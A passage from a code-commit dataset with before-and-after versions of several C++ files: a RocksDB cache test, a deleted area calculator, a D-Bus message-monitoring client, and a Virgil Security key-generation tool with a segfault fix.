deleted_keys_.size());\n\n  cache_->Release(h1);\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n\n  Erase(100);\n  ASSERT_EQ(-1, Lookup(100));\n  ASSERT_EQ(1U, deleted_keys_.size());\n\n  cache_->Release(h2);\n  ASSERT_EQ(2U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[1]);\n  ASSERT_EQ(102, deleted_values_[1]);\n}\n\nTEST(CacheTest, EvictionPolicy) {\n  Insert(100, 101);\n  Insert(200, 201);\n\n  \/\/ Frequently used entry must be kept around\n  for (int i = 0; i < kCacheSize + 100; i++) {\n    Insert(1000+i, 2000+i);\n    ASSERT_EQ(2000+i, Lookup(1000+i));\n    ASSERT_EQ(101, Lookup(100));\n  }\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(-1, Lookup(200));\n}\n\nTEST(CacheTest, HeavyEntries) {\n  \/\/ Add a bunch of light and heavy entries and then count the combined\n  \/\/ size of items still in the cache, which must be approximately the\n  \/\/ same as the total capacity.\n  const int kLight = 1;\n  const int kHeavy = 10;\n  int added = 0;\n  int index = 0;\n  while (added < 2*kCacheSize) {\n    const int weight = (index & 1) ? kLight : kHeavy;\n    Insert(index, 1000+index, weight);\n    added += weight;\n    index++;\n  }\n\n  int cached_weight = 0;\n  for (int i = 0; i < index; i++) {\n    const int weight = (i & 1 ? kLight : kHeavy);\n    int r = Lookup(i);\n    if (r >= 0) {\n      cached_weight += weight;\n      ASSERT_EQ(1000+i, r);\n    }\n  }\n  ASSERT_LE(cached_weight, kCacheSize + kCacheSize\/10);\n}\n\nTEST(CacheTest, NewId) {\n  uint64_t a = cache_->NewId();\n  uint64_t b = cache_->NewId();\n  ASSERT_NE(a, b);\n}\n\n\nclass Value {\n private:\n  int v_;\n public:\n  explicit Value(int v) : v_(v) { }\n\n  ~Value() { std::cout << v_ << \" is destructed\\n\"; }\n};\n\nvoid deleter(const Slice& key, void* value) {\n  delete (Value *)value;\n}\n\n\nTEST(CacheTest, BadEviction) {\n  int n = 10;\n\n  \/\/ a LRUCache with n entries and one shard only\n  std::shared_ptr<Cache> cache = NewLRUCache(n, 0);\n\n  std::vector<Cache::Handle*> handles(n+1);\n\n  \/\/ Insert n+1 entries, but not releasing.\n  for (int i = 0; i < n+1; i++) {\n    std::string key = std::to_string(i+1);\n    handles[i] = cache->Insert(key, new Value(i+1), 1, &deleter);\n  }\n\n  \/\/ Guess what's in the cache now?\n  for (int i = 0; i < n+1; i++) {\n    std::string key = std::to_string(i+1);\n    auto h = cache->Lookup(key);\n    std::cout << key << (h?\" found\\n\":\" not found\\n\");\n    \/\/ Only the first entry should be missing\n    ASSERT_TRUE(h || i == 0);\n    if (h) cache->Release(h);\n  }\n\n  for (int i = 0; i < n+1; i++) {\n    cache->Release(handles[i]);\n  }\n  std::cout << \"Poor entries\\n\";\n}\n\n}  \/\/ namespace rocksdb\n\nint main(int argc, char** argv) {\n  return rocksdb::test::RunAllTests();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream.h>\n#include <conio.h>\n#include <process.h>\n\nvoid ch(int &);\n\nvoid area(float base, float height){\n    cout << 0.5*base*height << endl;\n}\nvoid area(size_t length, size_t breadth){\n    cout << length*breadth << endl;\n}\nvoid area(size_t side){\n    cout << side*side << endl;\n}\nvoid area(float radius){\n    cout << 3.14*radius*radius << endl;\n}\n\nvoid menu(){\n\n    int choice;\n\n    cout << \"=============================================\" << endl;\n    cout << \"|              AREA CALCULATOR              |\" << endl;\n    cout << \"=============================================\" << endl;\n    cout << \"|                                           |\" << endl;\n    cout << \"| 1. AREA OF TRIANGLE.                      |\" << endl;\n    cout << \"|                                           |\" << endl;\n    cout << \"| 2. AREA OF RECTANGLE.                     |\" << endl;\n    cout << \"|                                           |\" << endl;\n    cout << \"| 3. AREA OF SQUARE.                        |\" << endl;\n    cout << \"|                                           |\" << endl;\n    cout << \"| 4. AREA OF CIRCLE.                        |\" << endl;\n    cout << \"|                                           |\" << endl;\n    cout << \"|===========================================|\" << endl;\n\n    cout << endl;\n    cout << \"ENTER YOUR CHOICE: \" << endl;\n    cin >> choice;\n\n    ch(choice);\n\n    \/\/\/system(\"clear\");\n}\n\nvoid ch(int &choice){\n\n\n    float radius, base, height;\n    size_t side, length, breadth;\n\n    switch(choice){\n\n        case 1:\n\n            cout << \"ENTER VALUE OF BASE: \";\n            cin >> base;\n\n            cout << \"ENTER VALUE OF HEIGHT: \";\n            cin >> height;\n\n            cout << \"AREA OF TRIANGLE IS: \";\n            area(base, height);\n\n            break;\n\n        case 2:\n\n            cout << \"ENTER VALUE OF LENGTH: \";\n            cin >> length;\n\n            cout << \"ENTER VALUE OF BREADTH: \";\n            cin >> breadth;\n\n            cout << \"AREA OF RECTANGLE IS: \";\n            area(length, breadth);\n\n            break;\n\n        case 3:\n\n            cout << \"ENTER VALUE OF SIDE \";\n            cin >> side;\n\n            cout << \"AREA OF SQUARE IS: \";\n            area(side);\n\n            break;\n\n        case 4:\n\n            cout << \"ENTER VALUE OF RADIUS \";\n            cin >> radius;\n\n            cout << \"AREA OF CIRCLE IS: \";\n            area(radius);\n\n            break;\n    }\n\n    char cont;\n\n    cout << endl << \"DO YOU WANT TO CONTINUE (Y\/N): \";\n    cin >> cont;\n\n    if(cont=='Y' ||  cont=='y'){\n\n        clrscr();\n\n        menu();\n    }else{\n        cout << \"THANK YOU !!! \" << endl;\n        exit(0);\n    }\n}\n\nint main()\n{\n  clrscr();\n\n    menu();\n\n  getch();\n  return 0;\n}\n<commit_msg>Delete QUES-6.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"argumentlist.h\"\n#include \"epolleventdispatcher.h\"\n#include \"itransceiverclient.h\"\n#include \"localsocket.h\"\n#include \"message.h\"\n#include \"transceiver.h\"\n\n#include <iostream>\n\nusing namespace std;\n\nvoid printArguments(ArgumentList::ReadCursor reader )\n{\n    \/\/ TODO - this is well-known though\n}\n\nvoid fillHelloMessage(Message *hello)\n{\n    hello->setType(Message::MethodCallMessage);\n    hello->setDestination(string(\"org.freedesktop.DBus\"));\n    hello->setInterface(string(\"org.freedesktop.DBus\"));\n    hello->setPath(string(\"\/org\/freedesktop\/DBus\"));\n    hello->setMethod(string(\"Hello\"));\n}\n\nclass ReplyPrinter : public ITransceiverClient\n{\n    \/\/ reimplemented from ITransceiverClient\n    virtual void messageReceived(Message *m);\n};\n\nvoid ReplyPrinter::messageReceived(Message *m)\n{\n    cout << \"Reply, pretty-printed:\\n\" << m->prettyPrint();\n}\n\nint main(int argc, char *argv[])\n{\n\n    EpollEventDispatcher dispatcher;\n\n    Transceiver transceiver(&dispatcher);\n    ReplyPrinter receiver;\n    transceiver.setClient(&receiver);\n    {\n        Message hello(1);\n        fillHelloMessage(&hello);\n        transceiver.sendAsync(&hello);\n        while (true) {\n            dispatcher.poll();\n        }\n    }\n\n    return 0;\n}\n<commit_msg>Dselpunk: Set up eavesdropping and pretty-print the snarfed messages.<commit_after>#include \"argumentlist.h\"\n#include \"epolleventdispatcher.h\"\n#include \"itransceiverclient.h\"\n#include \"localsocket.h\"\n#include \"message.h\"\n#include \"transceiver.h\"\n\n#include <iostream>\n\nusing namespace std;\n\n\nvoid fillHelloMessage(Message *hello)\n{\n    hello->setType(Message::MethodCallMessage);\n    hello->setDestination(string(\"org.freedesktop.DBus\"));\n    hello->setInterface(string(\"org.freedesktop.DBus\"));\n    hello->setPath(string(\"\/org\/freedesktop\/DBus\"));\n    hello->setMethod(string(\"Hello\"));\n}\n\nclass ReplyPrinter : public ITransceiverClient\n{\n    \/\/ reimplemented from ITransceiverClient\n    virtual void messageReceived(Message *m);\n};\n\nvoid ReplyPrinter::messageReceived(Message *m)\n{\n    cout << \"\\nReceived:\\n\" << m->prettyPrint();\n}\n\nint main(int argc, char *argv[])\n{\n\n    EpollEventDispatcher dispatcher;\n\n    Transceiver transceiver(&dispatcher);\n    ReplyPrinter receiver;\n    transceiver.setClient(&receiver);\n    {\n        Message hello(1);\n        fillHelloMessage(&hello);\n        cout << \"Sending:\\n\" << hello.prettyPrint() << '\\n';\n        transceiver.sendAsync(&hello);\n\n        Message spyEnable(2);\n        spyEnable.setType(Message::MethodCallMessage);\n        spyEnable.setDestination(string(\"org.freedesktop.DBus\"));\n        spyEnable.setInterface(string(\"org.freedesktop.DBus\"));\n        spyEnable.setPath(string(\"\/org\/freedesktop\/DBus\"));\n        spyEnable.setMethod(string(\"AddMatch\"));\n        ArgumentList argList;\n        ArgumentList::WriteCursor writer = argList.beginWrite();\n        writer.writeString(cstring(\"eavesdrop=true,type='method_call'\"));\n        writer.finish();\n        spyEnable.setArgumentList(argList);\n        transceiver.sendAsync(&spyEnable);\n        while (true) {\n            dispatcher.poll();\n        }\n    }\n\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (C) 2015 Virgil Security Inc.\n *\n * Lead Maintainer: Virgil Security Inc. <support@virgilsecurity.com>\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     (1) Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *\n *     (2) Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in\n *     the documentation and\/or other materials provided with the\n *     distribution.\n *\n *     (3) Neither the name of the copyright holder nor the names of its\n *     contributors may be used to endorse or promote products derived from\n *     this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <algorithm>\n#include <iostream>\n#include <iterator>\n#include <map>\n#include <stdexcept>\n#include <string>\n#include <set>\n\n#include <tclap\/CmdLine.h>\n\n#include <virgil\/crypto\/VirgilByteArray.h>\n#include <virgil\/crypto\/VirgilKeyPair.h>\n\n#include <virgil\/crypto\/foundation\/VirgilAsymmetricCipher.h>\n\n#include <cli\/version.h>\n#include <cli\/util.h>\n\nnamespace vcrypto = virgil::crypto;\nnamespace vcli = virgil::cli;\n\n\/**\n  * @brief Convert string representation of the Elliptic Curve group to the appropriate constant.\n  *\/\nstatic vcrypto::VirgilKeyPair::Type ec_key_group_from_param(const std::string &param);\n\n\/**\n * @brief Convert string representation of the RSA group to the appropriate constant.\n *\/\nstatic vcrypto::VirgilKeyPair::Type rsa_key_group_from_param(const std::string &param);\n\n\n#ifdef SPLIT_CLI\n#define MAIN main\n#else\n#define MAIN keygen_main\n#endif\n\nint MAIN(int argc, char **argv) {\n    try {\n        std::string description = \"Generate Elliptic Curve Private Key or RSA Private Key.\\n\";\n\n        std::vector <std::string> examples;\n        examples.push_back(\n                \"Generate Elliptic 512-bits Brainpool Curve Private Key(default):\\n\"\n                \"virgil keygen -o private.key\\n\");\n\n        examples.push_back(\n                \"Generate Elliptic Curve Private Key with password protection:\\n\"\n                \"virgil keygen -o private.key -p strong_private_key_password\\n\");\n\n        examples.push_back(\n                \"Generate Elliptic 521-bits NIST Curve Private Key:\\n\"\n                \"virgil keygen -o private.key -e secp521r1\\n\");\n\n        examples.push_back(\n                \"Generate RSA Private Key:\\n\"\n                \"virgil keygen -o private.key -r 8192\\n\");\n\n        std::string descriptionMessage = virgil::cli::getDescriptionMessage(description, examples);\n\n        \/\/ Parse arguments.\n        TCLAP::CmdLine cmd(descriptionMessage, ' ', virgil::cli_version());\n\n        TCLAP::ValueArg<std::string> outArg(\"o\", \"out\", \"Private key. If omitted stdout is used.\",\n                false, \"\", \"file\");\n\n        std::vector<std::string> ec_key;\n        ec_key.push_back(\"bp256r1\");\n        ec_key.push_back(\"bp384r1\");\n        ec_key.push_back(\"bp512r1\");\n        ec_key.push_back(\"secp192r1\");\n        ec_key.push_back(\"secp224r1\");\n        ec_key.push_back(\"secp256r1\");\n        ec_key.push_back(\"secp384r1\");\n        ec_key.push_back(\"secp521r1\");\n        ec_key.push_back(\"secp192k1\");\n        ec_key.push_back(\"secp224k1\");\n        ec_key.push_back(\"secp256k1\");\n        TCLAP::ValuesConstraint<std::string> allowedEcKey(ec_key);\n\n        TCLAP::ValueArg<std::string> ecArg(\"e\", \"ec\",\n                \"Generate elliptic curve key with one of the following curves:\\n\"\n                \"\\t* bp256r1 - 256-bits Brainpool curve;\\n\"\n                \"\\t* bp384r1 - 384-bits Brainpool curve;\\n\"\n                \"\\t* bp512r1 - 512-bits Brainpool curve (default);\\n\"\n                \"\\t* secp192r1 - 192-bits NIST curve;\\n\"\n                \"\\t* secp224r1 - 224-bits NIST curve;\\n\"\n                \"\\t* secp256r1 - 256-bits NIST curve;\\n\"\n                \"\\t* secp384r1 - 384-bits NIST curve;\\n\"\n                \"\\t* secp521r1 - 521-bits NIST curve;\\n\"\n                \"\\t* secp192k1 - 192-bits \\\"Koblitz\\\" curve;\\n\"\n                \"\\t* secp224k1 - 224-bits \\\"Koblitz\\\" curve;\\n\"\n                \"\\t* secp256k1 - 256-bits \\\"Koblitz\\\" curve.\\n\",\n                false, \"\", &allowedEcKey);\n\n        std::vector<std::string> rsa_key;\n        rsa_key.push_back(\"rsa3072\");\n        rsa_key.push_back(\"rsa4096\");\n        rsa_key.push_back(\"rsa8192\");\n        TCLAP::ValuesConstraint<std::string> allowedRSAKey(rsa_key);\n\n        TCLAP::ValueArg<std::string> rsaArg(\"r\", \"rsa\", \"Generate RSA key with one following pos:\\n\"\n                \"\\t* rsa3072;\\n\"\n                \"\\t* rsa4096;\\n\"\n                \"\\t* rsa8192\",\n                false, 0, &allowedRSAKey);\n\n        TCLAP::ValueArg<std::string> privatePasswordArg(\"p\", \"key-pwd\", \"Password to be used for Private\"\n                \" Key encryption. If omitted Private Key is stored in the plain format.\\n\"\n                \"Note, that password max length is 31 ASCII characters.\", false, \"\", \"arg\");\n\n        cmd.add(privatePasswordArg);\n        cmd.add(rsaArg);\n        cmd.add(ecArg);\n        cmd.add(outArg);\n        cmd.parse(argc, argv);\n\n        \/\/ Check parameters\n        if (ecArg.isSet() && rsaArg.isSet()) {\n            throw std::invalid_argument(\"-e, --ec and -r, --rsa parameters are both specified\");\n        }\n\n        vcrypto::VirgilByteArray privateKeyPassword = vcrypto::str2bytes(privatePasswordArg.getValue());\n        vcrypto::VirgilByteArray privateKey;\n\n        if (!ecArg.isSet() && !rsaArg.isSet()) {\n            \/\/ Generate EC key\n            \/\/ bp512r1 - 512-bits Brainpool curve (default)\n            vcrypto::VirgilKeyPair keyPair;\n            privateKey = keyPair.privateKey();\n        } else {\n            if (rsaArg.isSet()) {\n                \/\/ Generate RSA key\n                vcrypto::VirgilKeyPair::Type type = rsa_key_group_from_param(rsaArg.getValue());\n                vcrypto::VirgilKeyPair keyPair = vcrypto::VirgilKeyPair::generate(type, privateKeyPassword);\n                privateKey = keyPair.privateKey();\n            } else {\n                \/\/ Generate EC key\n                vcrypto::VirgilKeyPair::Type type = ec_key_group_from_param(ecArg.getValue());\n                vcrypto::VirgilKeyPair keyPair = vcrypto::VirgilKeyPair::generate(type, privateKeyPassword);\n                privateKey = keyPair.privateKey();\n            }\n        }\n\n        \/\/ Write private key\n        virgil::cli::writeBytes(outArg.getValue(), privateKey);\n\n    } catch (TCLAP::ArgException& exception) {\n        std::cerr << \"private-key-gen. Error: \" << exception.error() << \" for arg \" << exception.argId() << std::endl;\n        return EXIT_FAILURE;\n    } catch (std::exception& exception) {\n        std::cerr << \"private-key-gen. Error: \" << exception.what() << std::endl;\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n\nstatic vcrypto::VirgilKeyPair::Type ec_key_group_from_param(const std::string &param) {\n    std::map<std::string, vcrypto::VirgilKeyPair::Type> ecKeyGroup;\n    ecKeyGroup[\"secp192r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP192R1;\n    ecKeyGroup[\"secp224r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP224R1;\n    ecKeyGroup[\"secp256r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP256R1;\n    ecKeyGroup[\"secp384r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP384R1;\n    ecKeyGroup[\"secp521r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP521R1;\n    ecKeyGroup[\"bp256r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP256R1;\n    ecKeyGroup[\"bp384r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP384R1;\n    ecKeyGroup[\"bp512r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP512R1;\n    ecKeyGroup[\"secp192k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP192K1;\n    ecKeyGroup[\"secp224k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP224K1;\n    ecKeyGroup[\"secp256k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP256K1;\n\n    auto group = ecKeyGroup.find(param);\n    if (group != ecKeyGroup.end()) {\n        return group->second;\n    }\n\n    return vcrypto::VirgilKeyPair::Type_Default;\n}\n\nstatic vcrypto::VirgilKeyPair::Type rsa_key_group_from_param(const std::string &param) {\n    std::map<std::string, vcrypto::VirgilKeyPair::Type> ecKeyGroup;\n    ecKeyGroup[\"rsa3072\"] = vcrypto::VirgilKeyPair::Type_RSA_3072;\n    ecKeyGroup[\"rsa4096\"] = vcrypto::VirgilKeyPair::Type_RSA_4096;\n    ecKeyGroup[\"rsa8192\"] = vcrypto::VirgilKeyPair::Type_RSA_8192;\n\n    auto group = ecKeyGroup.find(param);\n    if (group != ecKeyGroup.end()) {\n        return group->second;\n    }\n\n    return vcrypto::VirgilKeyPair::Type_Default;\n}\n<commit_msg>Fix bug - 'Segmentation fault' in keygen<commit_after>\/**\n * Copyright (C) 2015 Virgil Security Inc.\n *\n * Lead Maintainer: Virgil Security Inc. <support@virgilsecurity.com>\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     (1) Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *\n *     (2) Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in\n *     the documentation and\/or other materials provided with the\n *     distribution.\n *\n *     (3) Neither the name of the copyright holder nor the names of its\n *     contributors may be used to endorse or promote products derived from\n *     this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <algorithm>\n#include <iostream>\n#include <iterator>\n#include <map>\n#include <stdexcept>\n#include <string>\n\n#include <tclap\/CmdLine.h>\n\n#include <virgil\/crypto\/VirgilByteArray.h>\n#include <virgil\/crypto\/VirgilKeyPair.h>\n#include <virgil\/crypto\/foundation\/VirgilAsymmetricCipher.h>\n\n#include <cli\/version.h>\n#include <cli\/util.h>\n\nnamespace vcrypto = virgil::crypto;\nnamespace vcli = virgil::cli;\n\n\/**\n  * @brief Convert string representation of the Elliptic Curve group to the appropriate constant.\n  *\/\nstatic vcrypto::VirgilKeyPair::Type ec_key_group_from_param(const std::string &param);\n\n\/**\n * @brief Convert string representation of the RSA group to the appropriate constant.\n *\/\nstatic vcrypto::VirgilKeyPair::Type rsa_key_group_from_param(const std::string &param);\n\n\n#ifdef SPLIT_CLI\n#define MAIN main\n#else\n#define MAIN keygen_main\n#endif\n\nint MAIN(int argc, char **argv) {\n    try {\n        std::string description = \"Generate Elliptic Curve Private Key or RSA Private Key.\\n\";\n\n        std::vector <std::string> examples;\n        examples.push_back(\n                \"Generate Elliptic 512-bits Brainpool Curve Private Key(default):\\n\"\n                \"virgil keygen -o private.key\\n\");\n\n        examples.push_back(\n                \"Generate Elliptic Curve Private Key with password protection:\\n\"\n                \"virgil keygen -o private.key -p strong_private_key_password\\n\");\n\n        examples.push_back(\n                \"Generate Elliptic 521-bits NIST Curve Private Key:\\n\"\n                \"virgil keygen -o private.key -e secp521r1\\n\");\n\n        examples.push_back(\n                \"Generate RSA Private Key:\\n\"\n                \"virgil keygen -o private.key -r 8192\\n\");\n\n        std::string descriptionMessage = vcli::getDescriptionMessage(description, examples);\n\n        \/\/ Parse arguments.\n        TCLAP::CmdLine cmd(descriptionMessage, ' ', virgil::cli_version());\n\n        TCLAP::ValueArg<std::string> outArg(\"o\", \"out\", \"Private key. If omitted stdout is used.\",\n                false, \"\", \"file\");\n\n        std::vector<std::string> ec_key;\n        ec_key.push_back(\"bp256r1\");\n        ec_key.push_back(\"bp384r1\");\n        ec_key.push_back(\"bp512r1\");\n        ec_key.push_back(\"secp192r1\");\n        ec_key.push_back(\"secp224r1\");\n        ec_key.push_back(\"secp256r1\");\n        ec_key.push_back(\"secp384r1\");\n        ec_key.push_back(\"secp521r1\");\n        ec_key.push_back(\"secp192k1\");\n        ec_key.push_back(\"secp224k1\");\n        ec_key.push_back(\"secp256k1\");\n        TCLAP::ValuesConstraint<std::string> allowedEcKey(ec_key);\n\n        TCLAP::ValueArg<std::string> ecArg(\"e\", \"ec\",\n                \"Generate elliptic curve key with one of the following curves:\\n\"\n                \"\\t* bp256r1 - 256-bits Brainpool curve;\\n\"\n                \"\\t* bp384r1 - 384-bits Brainpool curve;\\n\"\n                \"\\t* bp512r1 - 512-bits Brainpool curve (default);\\n\"\n                \"\\t* secp192r1 - 192-bits NIST curve;\\n\"\n                \"\\t* secp224r1 - 224-bits NIST curve;\\n\"\n                \"\\t* secp256r1 - 256-bits NIST curve;\\n\"\n                \"\\t* secp384r1 - 384-bits NIST curve;\\n\"\n                \"\\t* secp521r1 - 521-bits NIST curve;\\n\"\n                \"\\t* secp192k1 - 192-bits \\\"Koblitz\\\" curve;\\n\"\n                \"\\t* secp224k1 - 224-bits \\\"Koblitz\\\" curve;\\n\"\n                \"\\t* secp256k1 - 256-bits \\\"Koblitz\\\" curve.\\n\",\n                false, \"\", &allowedEcKey);\n\n        std::vector<std::string> rsa_key;\n        rsa_key.push_back(\"rsa3072\");\n        rsa_key.push_back(\"rsa4096\");\n        rsa_key.push_back(\"rsa8192\");\n        TCLAP::ValuesConstraint<std::string> allowedRSAKey(rsa_key);\n\n        TCLAP::ValueArg<std::string> rsaArg(\"r\", \"rsa\", \"Generate RSA key with one following pos:\\n\"\n                \"\\t* rsa3072;\\n\"\n                \"\\t* rsa4096;\\n\"\n                \"\\t* rsa8192\",\n                false, \"\", &allowedRSAKey);\n\n        TCLAP::ValueArg<std::string> privatePasswordArg(\"p\", \"key-pwd\", \"Password to be used for Private\"\n                \" Key encryption. If omitted Private Key is stored in the plain format.\\n\"\n                \"Note, that password max length is 31 ASCII characters.\", false, \"\", \"arg\");\n\n        cmd.add(privatePasswordArg);\n        cmd.add(rsaArg);\n        cmd.add(ecArg);\n        cmd.add(outArg);\n        cmd.parse(argc, argv);\n\n        \/\/ Check parameters\n        if (ecArg.isSet() && rsaArg.isSet()) {\n            throw std::invalid_argument(\"-e, --ec and -r, --rsa parameters are both specified\");\n        }\n\n        vcrypto::VirgilByteArray privateKeyPassword = vcrypto::str2bytes(privatePasswordArg.getValue());\n        vcrypto::VirgilByteArray privateKey;\n\n        if (!ecArg.isSet() && !rsaArg.isSet()) {\n            \/\/ Generate EC key\n            \/\/ bp512r1 - 512-bits Brainpool curve (default)\n            vcrypto::VirgilKeyPair keyPair;\n            privateKey = keyPair.privateKey();\n        } else {\n            if (rsaArg.isSet()) {\n                \/\/ Generate RSA key\n                vcrypto::VirgilKeyPair::Type type = rsa_key_group_from_param(rsaArg.getValue());\n                vcrypto::VirgilKeyPair keyPair = vcrypto::VirgilKeyPair::generate(type, privateKeyPassword);\n                privateKey = keyPair.privateKey();\n            } else {\n                \/\/ Generate EC key\n                vcrypto::VirgilKeyPair::Type type = ec_key_group_from_param(ecArg.getValue());\n                vcrypto::VirgilKeyPair keyPair = vcrypto::VirgilKeyPair::generate(type, privateKeyPassword);\n                privateKey = keyPair.privateKey();\n            }\n        }\n\n        \/\/ Write private key\n        virgil::cli::writeBytes(outArg.getValue(), privateKey);\n\n    } catch (TCLAP::ArgException& exception) {\n        std::cerr << \"private-key-gen. Error: \" << exception.error() << \" for arg \" << exception.argId() << std::endl;\n        return EXIT_FAILURE;\n    } catch (std::exception& exception) {\n        std::cerr << \"private-key-gen. Error: \" << exception.what() << std::endl;\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n\nstatic vcrypto::VirgilKeyPair::Type ec_key_group_from_param(const std::string &param) {\n    std::map<std::string, vcrypto::VirgilKeyPair::Type> ecKeyGroup;\n    ecKeyGroup[\"secp192r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP192R1;\n    ecKeyGroup[\"secp224r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP224R1;\n    ecKeyGroup[\"secp256r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP256R1;\n    ecKeyGroup[\"secp384r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP384R1;\n    ecKeyGroup[\"secp521r1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP521R1;\n    ecKeyGroup[\"bp256r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP256R1;\n    ecKeyGroup[\"bp384r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP384R1;\n    ecKeyGroup[\"bp512r1\"] = vcrypto::VirgilKeyPair::Type_EC_BP512R1;\n    ecKeyGroup[\"secp192k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP192K1;\n    ecKeyGroup[\"secp224k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP224K1;\n    ecKeyGroup[\"secp256k1\"] = vcrypto::VirgilKeyPair::Type_EC_SECP256K1;\n\n    auto group = ecKeyGroup.find(param);\n    if (group != ecKeyGroup.end()) {\n        return group->second;\n    }\n\n    return vcrypto::VirgilKeyPair::Type_Default;\n}\n\nstatic vcrypto::VirgilKeyPair::Type rsa_key_group_from_param(const std::string &param) {\n    std::map<std::string, vcrypto::VirgilKeyPair::Type> ecKeyGroup;\n    ecKeyGroup[\"rsa3072\"] = vcrypto::VirgilKeyPair::Type_RSA_3072;\n    ecKeyGroup[\"rsa4096\"] = vcrypto::VirgilKeyPair::Type_RSA_4096;\n    ecKeyGroup[\"rsa8192\"] = vcrypto::VirgilKeyPair::Type_RSA_8192;\n\n    auto group = ecKeyGroup.find(param);\n    if (group != ecKeyGroup.end()) {\n        return group->second;\n    }\n\n    return vcrypto::VirgilKeyPair::Type_Default;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n\n This file is part of the GLC-lib library.\n Copyright (C) 2005-2008 Laurent Ribon (laumaya@users.sourceforge.net)\n Version 2.0.0, packaged on July 2010.\n\n http:\/\/glc-lib.sourceforge.net\n\n GLC-lib is free software; you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n GLC-lib is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with GLC-lib; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n *****************************************************************************\/\n\/\/! \\file glc_bsrep.cpp implementation for the GLC_BSRep class.\n\n#include \"glc_bsrep.h\"\n#include \"..\/glc_fileformatexception.h\"\n\n\/\/ The binary rep suffix\nconst QString GLC_BSRep::m_Suffix(\"BSRep\");\n\n\/\/ The binary rep magic number\nconst QUuid GLC_BSRep::m_Uuid(\"{d6f97789-36a9-4c2e-b667-0e66c27f839f}\");\n\n\/\/ The binary rep version\nconst quint32 GLC_BSRep::m_Version= 101;\n\n\/\/ Mutex used by compression\nQMutex 